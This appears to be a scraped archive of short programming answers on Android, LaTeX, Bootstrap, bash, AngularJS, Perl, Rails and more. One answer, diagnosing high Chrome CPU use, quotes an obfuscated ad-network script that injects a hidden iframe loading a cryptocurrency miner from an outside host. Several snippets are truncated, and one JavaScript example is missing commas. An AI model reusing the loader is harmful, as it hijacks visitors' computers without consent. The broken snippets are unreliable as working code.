Posts

Showing posts from May, 2013

Change Spinner Dropdown Icon

Image
Answer : Try applying following style to your spinner using style="@style/SpinnerTheme" // Spinner Style : <style name="SpinnerTheme" parent="android:Widget.Spinner"> <item name="android:background">@drawable/bg_spinner</item> </style> // bg_spinner.xml Replace the arrow_down_gray with your arrow <?xml version="1.0" encoding="utf-8"?> <selector xmlns:android="http://schemas.android.com/apk/res/android"> <item> <layer-list> <item> <shape> <gradient android:angle="90" android:endColor="#ffffff" android:startColor="#ffffff" android:type="linear" /> <stroke android:width="0.33dp" android:color="#0fb1fa" /> <corners android:radius="0dp" />

15 Cm To In Code Example

Example: cm to inch 1 cm = 0.3937 inch

Center A Table That Uses Resizebox

Answer : There is no centering environment. And issuing \centering inside \resizebox doesn't make sense anyway: it should be outside, because you want to center the resized box. \documentclass[11pt,english,titlepage]{article} \usepackage{graphicx} \begin{document} \begin{table} \centering \caption{mytable} \resizebox{.5\textwidth}{!}{% <------ Don't forget this % \begin{tabular}{rrr} A & B & C \\ \hline A1 & B1 & C1 \\ A2 & B2 & C2 \\ A3 & B3 & C3 \\ \end{tabular}% <------ Don't forget this % } \end{table} \end{document} Here an alternative answer using adjustbox . It covers the functionality of \resizebox and is also able to center its content. It also removes the need of escaping the line breaks with % as seen in egregs answer, as the adjustbox environment removes the spaces added by them. It is even possible to pr

C Program To Generate Random Numbers Without Using Rand Code Example

Example 1: how to genrate a random number in C # include <time.h> # include <stdlib.h> srand ( time ( NULL ) ) ; // Initialization, should only be called once. int r = rand ( ) ; // Returns a pseudo-random integer between 0 and RAND_MAX. Example 2: how to genrate a random number in C srand ( time ( NULL ) ) ; int r = rand ( ) ;

Bootstrap Start Documentation Starter Template Code Example

Example 1: bootstrap 4 cdn <!-- Boostrap 4 CSS --> < link rel = " stylesheet " href = " https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css " integrity = " sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh " crossorigin = " anonymous " > < script src = " https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js " integrity = " sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6 " crossorigin = " anonymous " > </ script > <!-- Boostrap JS --> < script src = " https://code.jquery.com/jquery-3.4.1.slim.min.js " integrity = " sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n " crossorigin = " anonymous " > </ script > < script src = " https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js " integrity = &qu

Array Search Javascript Code Example

Example 1: find element in array javascript const simpleArray = [ 3 , 5 , 7 , 15 ] ; const objectArray = [ { name : 'John' } , { name : 'Emma' } ] console . log ( simpleArray . find ( e => e === 7 ) ) // expected output 7 console . log ( simpleArray . find ( e => e === 10 ) ) // expected output undefined console . log ( objectArray . find ( e => e . name === 'John' ) ) // expected output { name: 'John' } Example 2: javascript find const inventory = [ { name : 'apples' , quantity : 2 } , { name : 'cherries' , quantity : 8 } { name : 'bananas' , quantity : 0 } , { name : 'cherries' , quantity : 5 } { name : 'cherries' , quantity : 15 } ] ; const result = inventory . find ( ( { name } ) => name === 'cherries' ) ; console . log ( result ) // { name: 'cherries', quantity: 5 } Example 3: javascript

Bootstrap 3 CSS Image Caption Overlay

Answer : I think problem is in placement rather then overlay, div.desc is absolute and image is its sibling. So overlay will not follow image it will follow only anchor tag or your div.wrapper . From what I can see is that there is a margin on image or padding in anchor or wrapper. The best solution is to put desc and image in another div with 100% width with 0 padding. <div class="col-sm-4 wrapper"> <a href="#"> <div class="fix"> <img src="images/upload/projects/21/wolf.jpg" class="img-responsive" alt="" /> <div class="desc"> <p class="desc_content">The pack, the basic unit of wolf social life.</p> </div></div> </a> </div> CSS: .fix{width:100%; padding:0px;} For others trying to overlay a caption on an image in Bootstrap, consider using carousel captions. See here: http://www.w3s

Cannot Resolve Module 'react-dom'

Answer : Issue is react-dom is not installed, when you hit npm -v react-dom , it gives you the version of npm not react-dom version, you can check that by using npm -v or npm -v react-dom both will give you the same result. You are checking the package version incorrectly. How to install react and react-dom properly? Use this to install react and react-dom: npm install react react-dom --save After that, you can check your package.json file, if react and react-dom has been installed correctly, you will find an entry for that. How to check install package version? To check all the locally installed packages version: npm list For globally installed packages, use -g also: npm list -g To check the version of any specific package, specify the package name also: npm list PackageName For Example => npm list react npm list react-router After installation your package.json will look like this: { "name": "***", &qu

Android WebView Style Background-color:transparent Ignored On Android 2.2

Image
Answer : This worked for me, mWebView.setBackgroundColor(Color.TRANSPARENT); At the bottom of this earlier mentioned issue there is an solution. It's a combination of 2 solutions. webView.setBackgroundColor(Color.TRANSPARENT); webView.setLayerType(WebView.LAYER_TYPE_SOFTWARE, null); When adding this code to the WebViewer after loading the url, it works (API 11+). It even works when hardeware acceleration is ON I had the same issue with 2.2 and also in 2.3. I solved the problem by giving the alpa value in html not in android. I tried many things and what I found out is setBackgroundColor(); color doesnt work with alpha value. webView.setBackgroundColor(Color.argb(128, 0, 0, 0)); will not work. so here is my solution, worked for me. String webData = StringHelper.addSlashes("<!DOCTYPE html><head> <meta http-equiv=\"Content-Type\" " + "content=\"text/html; charset=utf-8\"> </head><body><di

Android Icon Generator For Actionbar And Notification Not Working (grey Shape)

Image
Answer : You can use a tool for creating generic icons in Asset Studio: https://romannurik.github.io/AndroidAssetStudio/icons-generic.html. To get it look like ActionBar Icon, you should make next actions: Choose image The size of image should stay at 24dip Change padding to 4dip Move foreground color thumb to 0% That's it! Download .zip now. The sizes of icons will be pretty the same as you can get them with ActionBar Icon Generator. How it looks for me: I think it's because your image is too complexe and the main problem is the "color" filter applied in AAS. I had the same problem and I had to convert xxxhdpi xxhdpi etc. manually. If you work with Sketch (for example) it can be converted easily with a plugin (https://github.com/zmalltalker/sketch-android-assets) hope it's help ! If you want to use AAR, like @rom4ek explained "4. Move foreground color thumb to 0%" this is the important part

Check If String Is Not Empty Bash Code Example

Example 1: bash if null or empty if [ -z "$variable" ]; then echo "$variable is null"; else echo "$variable is not null"; fi Example 2: bash if variable is not empty VAR=`echo Hello world` if [[ -n "$VAR" ]] ; then echo "Variable is set" ; fi Example 3: bash check if variable is empty if [ -z "$var" ] #return true if $var is unset Example 4: bash script check empty string if [ -z "$var" ] then echo "\$var is empty" else echo "\$var is NOT empty" fi

AngularJS: How To Implement A Simple File Upload With Multipart Form?

Answer : A real working solution with no other dependencies than angularjs (tested with v.1.0.6) html <input type="file" name="file" onchange="angular.element(this).scope().uploadFile(this.files)"/> Angularjs (1.0.6) not support ng-model on "input-file" tags so you have to do it in a "native-way" that pass the all (eventually) selected files from the user. controller $scope.uploadFile = function(files) { var fd = new FormData(); //Take the first selected file fd.append("file", files[0]); $http.post(uploadUrl, fd, { withCredentials: true, headers: {'Content-Type': undefined }, transformRequest: angular.identity }).success( ...all right!... ).error( ..damn!... ); }; The cool part is the undefined content-type and the transformRequest: angular.identity that give at the $http the ability to choose the right "content-type" and manage the bounda

Check If Httponly Cookie Exists In Javascript

Answer : You can indirectly check to see if it exists by trying to set it to a value with javascript if it can't be set, then the HTTP Only Cookie must be there (or the user is blocking cookies). function doesHttpOnlyCookieExist(cookiename) { var d = new Date(); d.setTime(d.getTime() + (1000)); var expires = "expires=" + d.toUTCString(); document.cookie = cookiename + "=new_value;path=/;" + expires; if (document.cookie.indexOf(cookiename + '=') == -1) { return true; } else { return false; } } No. And see Rob's comments below. See this, which you probably already saw - http://en.wikipedia.org/wiki/HTTP_cookie#Secure_and_HttpOnly An HttpOnly cookie is not accessible via non-HTTP methods, such as calls via JavaScript (e.g., referencing "document.cookie")... Edit: Removed undefined response, I wrote a script that you may not be using :) I had the same problem. I solved it with the server setting anoth

Calling Function Python Code Example

Example 1: python functions def myFunction ( say ) : #you can add variables to the function print ( say ) myFunction ( "Hello" ) age = input ( "How old are you?" ) myFunction ( "You are {} years old!" . format ( age ) ) # this is what you get : Hello How old are you ? >> 11 #lol my real age actually You are 11 years old ! Example 2: create function in python def myFunction ( ) : print ( 'I am running in a function!' ) Example 3: python funtion def nameOfFunction ( something ) : return something Example 4: how to call a function in python def func ( ) : print ( " to write statement here and call by a function " ) func ( ) // Returns

390 F To C Code Example

Example: 14 f to c 14°F = -10°C

How To Check If String Time Are Smaller In C++ Code Example

Example: compare string c++ int compare ( const string & str ) const ;

Brew Install Zlib-devel On Mac OS X Mavericks

Answer : Just run in the command line: xcode-select --install In OS X 10.9+, the command line developer tools are now installed on demand. So after running this also zlib and zlib-devel should be available (no need for brew install zlib...) For OS X Mojave sudo installer -pkg /Library/Developer/CommandLineTools/Packages/macOS_SDK_headers_for_macOS_10.14.pkg -target / The reason is because Xcode Command Line tools no longer installs needed headers in /include. You have to run a separate command to install the needed headers. As noted here - https://developer.apple.com/documentation/xcode_release_notes/xcode_10_release_notes The command line tools will search the SDK for system headers by default. However, some software may fail to build correctly against the SDK and require macOS headers to be installed in the base system under /usr/include. If you are the maintainer of such software, we encourage you to update your project to work with the SDK or file a bug

Bold Text In Latex Code Example

Example 1: latex bold text \textbf { text } Example 2: bold text latex \textbf { accident } Example 3: latex italic \emph { accident } Example 4: bold italic text in latex \textit { \textbf { text } } Example 5: bold italic text in latex \textbf { \textit { text } }

60 Inch Cm Code Example

Example: inch to cm 1 inch = 2.54 cm

Chrome Uses 80% CPU When I Visit A Specific Website

Image
Answer : Yes, it’s a crypto currency miner. Hosted at www.datasecu.download , implemented in Web Assembly, communicating with its host via Websocket: It’s distributed using a compromised advertising network: Extract from https://s3.amazonaws.com/23ap.com/nodejs/sq9/sq_v2.js var _0x7bc7=["iframe","setAttribute","https://www.datasecu.download/lot.html","head","appendChild","1IABALrINkcv2VFJWo7ctqH0f3Y6aTf1","start","createElement"];!function(t,x){!function(x){for(;--x;)t.push(t.shift())}(++x)}(_0x7bc7,367);var _0x5028=function(t,x){var a=_0x7bc7[t-=0];return console.log(a,t),a};a=document[_0x5028("0x0")](_0x5028("0x1")),a[_0x5028("0x2")]("src",_0x5028("0x3")),a.style.width="0px",a.style.height="1px",document[_0x5028("0x4")][_0x5028("0x5")](a); tl;dr: Use an Adblocker already. For ublock you can load the noC

Programiz Online C Compiler Code Example

Example 1: online c compiler I Personally Like https : //www.programiz.com/c-programming/online-compiler/ Example 2: c compiler online i reccomend online gdb https : //www.onlinegdb.com/online_c_compiler Example 3: c compilers // I Like https://www.programiz.com/c-programming/online-compiler/

Changing Color And Marker Of Each Point Using Seaborn Jointplot

Image
Answer : Solving this problem is almost no different than that from matplotlib (plotting a scatter plot with different markers and colors), except I wanted to keep the marginal distributions: import seaborn as sns from itertools import product sns.set(style="darkgrid") tips = sns.load_dataset("tips") color = sns.color_palette()[5] g = sns.jointplot("total_bill", "tip", data=tips, kind="reg", stat_func=None, xlim=(0, 60), ylim=(0, 12), color='k', size=7) #Clear the axes containing the scatter plot g.ax_joint.cla() #Generate some colors and markers colors = np.random.random((len(tips),3)) markers = ['x','o','v','^','<']*100 #Plot each individual point separately for i,row in enumerate(tips.values): g.ax_joint.plot(row[0], row[1], color=colors[i], marker=markers[i]) g.set_axis_labels('total bill', 'tip', fontsize=16) Which gives me this:

Check Whether A String Contains A Substring

Answer : To find out if a string contains substring you can use the index function: if (index($str, $substr) != -1) { print "$str contains $substr\n"; } It will return the position of the first occurrence of $substr in $str , or -1 if the substring is not found. Another possibility is to use regular expressions which is what Perl is famous for: if ($mystring =~ /s1\.domain\.com/) { print qq("$mystring" contains "s1.domain.com"\n); } The backslashes are needed because a . can match any character. You can get around this by using the \Q and \E operators. my $substring = "s1.domain.com"; if ($mystring =~ /\Q$substring\E/) { print qq("$mystring" contains "$substring"\n); } Or, you can do as eugene y stated and use the index function. Just a word of warning: Index returns a -1 when it can't find a match instead of an undef or 0 . Thus, this is an error: my $substring = "s1.domain.

Abstract W3schools Code Example

Example 1: abstraction in java Abstraction is defined as hiding internal implementation and showing only necessary information. // abstract class abstract class Addition { // abstract methods public abstract int addTwoNumbers(int number1, int number2); public abstract int addFourNumbers(int number1, int number2, int number3, int number4); // non-abstract method public void printValues() { System.out.println("abstract class printValues() method"); } } class AbstractMethodExample extends Addition { public int addTwoNumbers(int number1, int number2) { return number1 + number2; } public int addFourNumbers(int number1, int number2, int number3, int number4) { return number1 + number2 + number3 + number4; } public static void main(String[] args) { Addition add = new AbstractMethodExample(); System.out.println(add.addTwoNumbers(6, 6)); System.out.println(add.addFourNumbers(8, 8, 3, 2)); add.p
Note This plugin is part of the community.general collection (version 2.0.1). To install it use: ansible-galaxy collection install community.general . To use it in a playbook, specify: community.general.qubes . Synopsis Parameters Synopsis Run commands or put/fetch files to an existing Qubes AppVM using qubes tools. Parameters Parameter Choices/Defaults Configuration Comments remote_addr string Default: "inventory_hostname" var: ansible_host vm name remote_user string Default: "The *user* account as default in Qubes OS." var: ansible_user The user to execute as inside the vm. Authors Kushal Das (@kushaldas)

Find Pair.first In Vector Code Example

Example: find in set of pairs using first value cpp auto it = std :: find_if ( st . begin ( ) , st . end ( ) , [ ] ( const pair < int , int > & p ) { return p . first == 1 ; } ) ;

Auto Populate Date In MongoDB On Insert

Answer : You may try to do a few things if you do not want to handle this from code (I have executed the code below directly on mongo shell): If you want to use $currentDate use update with upsert = true: db.orders.update( {"_id":ObjectId()}, { $currentDate: { createtime: true } }, { upsert: true } ) It will now generate the objectid on app server instead of date/time (unless you use raw command). Use new timestamp or date object directly: db.orders.insert( "createtime": new Timestamp() ) The problem with most driver will be then to make sure the new object is created on mondodb server- not on the machine where the code is running. You driver hopefully allows to run raw insert command. Both will serve the purpose of avoiding time differences/ time sync issue between application server machines.

Change Column Name Rails

Answer : Run in your console: $ rails g migration rename_season_to_season_id Now file db/migrate/TIMESTAMP_rename_season_to_season_id.rb contains following: class RenameSeasonToSeasonId < ActiveRecord::Migration def change end end Modify it as follows: class RenameSeasonToSeasonId < ActiveRecord::Migration def change rename_column :shoes, :season, :season_id end end Then run $ rake db:migrate in console. Either fix your migration and do rake db:rollback db:migrate or make another migration like so: rename_column :shoes, :season, :season_id if column_exists?(:shoes, :season) && !column_exists?(:shoes, :season_id) and then do rake db:migrate